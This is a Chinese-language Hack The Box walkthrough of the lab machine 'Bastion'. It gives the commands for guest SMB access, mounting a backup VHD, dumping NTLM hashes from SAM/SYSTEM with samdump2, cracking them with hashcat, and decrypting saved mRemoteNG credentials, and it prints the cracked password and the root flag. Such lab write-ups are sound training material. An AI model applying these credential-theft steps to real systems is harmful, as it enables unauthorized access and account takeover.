HTB-windows-Bastion

简介:
这台靶机学到了很多新知识,巩固了旧知识吧,靶机不是自己独立完成的,借鉴了大佬的writeup. 靶机的一些关键点和卡点:

  1. mount可以挂在windows共享目录
  2. kali下可将VHD文件通过qemu-nbd转换到/dev/nbd0p1设备,通过mount挂载
  3. Windows系统的账号密码凭证保存在C:/Windows/System32/Config目录下的SYSTEM、SAM文件中, 通过samdump2命令可从两个文件中提取出账号的NTLM凭证
  4. Windows程序安装后,会在C:/Users//AppData/Remoting/目录中保存数据和创建配置文件
  5. mRemoteNG程序保存的远程登陆凭证保存在C:/Users/Username/AppData/Remoting/mRemoteNG/confCon.xml文件中, 密码通过aes加密,默认加密密码为mR3m

靶机状态: 已完成

文章目录

  • 端口扫描
  • SMB共享
  • mRemoteNG提取密码

一、端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
➜  nmap sudo nmap -sC -sV -A -oA Bastion -Pn 10.10.10.134
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-08 07:19 CST
Nmap scan report for 10.10.10.134
Host is up (0.25s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_7.9 (protocol 2.0)
| ssh-hostkey:
| 2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA)
| 256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA)
|_ 256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=5/8%OT=22%CT=1%CU=32308%PV=Y%DS=2%DC=T%G=Y%TM=5CD2132B
OS:%P=x86_64-apple-darwin17.3.0)SEQ(SP=105%GCD=1%ISR=109%TI=I%CI=I%TS=A)SEQ
OS:(SP=105%GCD=1%ISR=109%TI=I%CI=I%II=I%SS=S%TS=A)SEQ(SP=105%GCD=1%ISR=108%
OS:TI=I%CI=I%II=I%TS=A)OPS(O1=M54DNW8ST11%O2=M54DNW8ST11%O3=M54DNW8NNT11%O4
OS:=M54DNW8ST11%O5=M54DNW8ST11%O6=M54DST11)WIN(W1=2000%W2=2000%W3=2000%W4=2
OS:000%W5=2000%W6=2000)ECN(R=Y%DF=Y%T=80%W=2000%O=M54DNW8NNS%CC=Y%Q=)T1(R=Y
OS:%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD
OS:=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%
OS:S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(
OS:R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F
OS:=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G
OS:%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)

Network Distance: 2 hops
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -39m54s, deviation: 1h09m16s, median: 4s
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: Bastion
| NetBIOS computer name: BASTION\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2019-05-08T01:22:11+02:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-05-08 07:22:15
|_ start_date: 2019-05-08 07:15:50

发现的服务为ssh、Msrpc、NetBIOS、SMB, 操作系统为Windows Server 2016 Standard 14393, NetBIOS名字是BASTION, 工作组是WORKGROUP. 说明这不是一台HTB域成员主机. SMB用户guest, 验证登级为user.

初步判断大致思路是匿名SMB登陆获取账号密码,通过ssh登陆获取更好权限。

二、SMB共享

VHD 通过smbclient -U guest -H 10.10.10.134查看共享目录, 发现可读的backups目录, smbclient -U guest //10.10.10.134/backups连接backups目录,发现存在VHD文件。VHD文件是Virtual Hard Desk, 这是一种公开可用的图像格式规范,允许将磁盘封装在单个文件中,供操作系统用作虚拟磁盘,使用方式与操作物理磁盘相同。

MOUNT 由于共享文件中的VHD文件大小为5G左右,下载网速为300KB左右,所以无法通过下载VHD的方式来进行加载,只能通过挂在windows共享目录到linux中,然后进行VHD挂载; mount -t cifs -o username=guest //10.10.10.134/backups /mnt/Bastion, 访问/mnt/Bastion即可访问backups共享目录

qemu qemu用于转换文件,kali下(ubuntu系列)的安装命令为apt install qemu-kvm,其他系统未了解;安装之后先加载nbd内核modprobe nbd,加载vdi文件qemu-nbd -c /dev/nbd0 <vdi_file>,上面的命令运行之后将在/dev/nbd0中暴露可挂载点/dev/nbd0p1,然后通过mount /dev/nbd0p1 /mnt/挂载到磁盘上的/mnt目录中

samdump2 挂载VDI文件后, 开始在文件中查找密钥, 这里需要注意的是Windows/System32/config目录下的SYSTEM、SAM文件保存了系统的账号和密钥信息,如果如果系统正在运行则无法获取文件的句柄导致无法获取账号信息。进入C://WIndows/System32/Config目录,用samdump2 SYSTEM SAM -o /tmp/ntlm_hash.txt提取账号的NTLM哈希值。然后通过hashcat -m 1000 -a 0 pass /tmp/ntlm_hash.txt /usr/share/wordlists/rockyou.txt破解,拿到L4mpje账号的密码bureaulampje

三、mRemoteNG提取密码

mRemoteNG 拿到L4mpje账号后,用smbmap -u L4mpje -p bureaulampje -H 10.10.10.134命令查看后发现无新的共享目录,然后用该账号登陆ssh, 进入系统,然后找到user.txt。通过powerup.ps1检查之后未发现可用提权内容,于是开始查找系统中的文件, 在C://Users//AppData/Remoting/目录中查看安装的文件发现mRemoteNG, mRemoteNG是一款开源的平台远控工具,在其中保存的账号密码会加密存储在mRemoteNG目录下的conF.xml文件中,可通过下载mRemoteNG替换conf.xml文件或mremoteng-decrypthere进行离线破解。

破解之后,找到administrator账号的密码,登陆ssh或smb共享文件后,找到root.txt文件

1
2
administrator@BASTION C:\Users\Administrator\Desktop>type root.txt
958850b91811676ed6620a9c430e65c8

四、卡点

卡点1: 通过guest访问共享文件后发现vhd文件但不知道如何利用;
卡点2: 通过qemu-nbd加载vhd文件时报错,提示无法获取写文件的锁;通过只读的方式加载即可解决qemu-nbd -rc /dev/nbd0 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd
卡点3: C:/Windows/System32/config目录下的SYSTEM、SAM中保存的当前机器的账号密码
卡点4: C:/Users//AppData/Remoing/目录下保存当前账号安装的软件配置和数据信息,部分软件保存的密码可同此处提取解密

owefsad wechat
进击的DevSecOps,持续分享SAST/IAST/RASP的技术原理及甲方落地实践。如果你对 SAST、IAST、RASP方向感兴趣,可以扫描下方二维码关注公众号,获得更及时的内容推送。
0%